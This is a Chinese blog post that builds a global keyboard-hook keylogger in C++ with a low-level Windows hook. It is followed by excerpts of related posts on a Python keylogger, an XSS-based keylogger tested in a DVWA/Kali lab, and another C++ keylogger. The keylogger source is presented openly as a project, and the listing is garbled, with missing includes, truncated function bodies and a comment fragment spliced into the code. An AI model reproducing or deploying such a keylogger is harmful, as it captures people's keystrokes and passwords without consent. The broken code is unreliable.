之前寫外掛程式做過指定程序的 hook,但是沒有嘗試過全域性 hook,所以今天就來試試。全域性 hook 的用途我第乙個就想到了鍵盤記錄器(貌似我也就想到了這個 哈哈),那就寫乙個吧。
先上效果圖(沒圖沒真相,我看別人的部落格都喜歡上來先看圖,木哈哈 ~) u•ェ•*u
其實也不多,就是 switch case 佔了很大的比例而已:
// test_concole.cpp : 定義控制台應用程式的入口點。
//#include
"stdafx.h"
#include
#include
#include
#include
using namespace std;
hhook keyboardhook =0;
// 鉤子控制代碼
lresult callback lowlevelkeyboardproc
( _in_ int ncode,
// 規定鉤子如何處理訊息,小於 0 則直接 callnexthookex
_in_ wparam wparam,
// 訊息型別
_in_ lparam lparam // 指向某個結構體的指標,這裡是 kbdllhookstruct(低階鍵盤輸入事件)
)kbdllhookstruct,*lpkbdllhookstruct,*pkbdllhookstruct;
*/if
(ks->flags ==
128|| ks->flags ==
129)
//return 1; // 使按鍵失效
}// 將訊息傳遞給鉤子鏈中的下乙個鉤子
return
callnexthookex
(null
, ncode, wparam, lparam);}
int_tmain
(int argc, _tchar* ar**)
//不可漏掉訊息處理,不然程式會卡死
msg msg;
while(1
)else
sleep(0
);//避免cpu全負載執行
}// 刪除鉤子
unhookwindowshookex
(keyboardhook)
;return0;
}
python 鍵盤記錄器
coding utf 8 from ctypes import import pythoncom import pyhook import win32clipboard user32 windll.user32 kernel32 windll.kernel32 psapi windll.psapi ...
利用XSS漏洞實現鍵盤記錄器
本實驗以反射性的xss漏洞為例 實驗環境 dvwa靶機 ip 192.168.135.140 kali linux ip 192.168.135.138 1.首先開啟在kail上開啟apache服務 etc init.d apache2 start在firefox位址列輸入 或者 http loca...
C 黑客程式設計 鍵盤記錄器,HOOK技術實現
有一種技術被稱為hook,人們習慣上叫做鉤子。鉤子技術的應用範圍比較廣 輸入監控,api攔截,訊息捕獲等等。今天我們來做的是鍵盤記錄器 編譯工具 visual studio 2019 程式語言 自然是c python做的我會寫個標題 c 嗎?程式設計技術 hook 另外我說一下 hook技術分為好幾...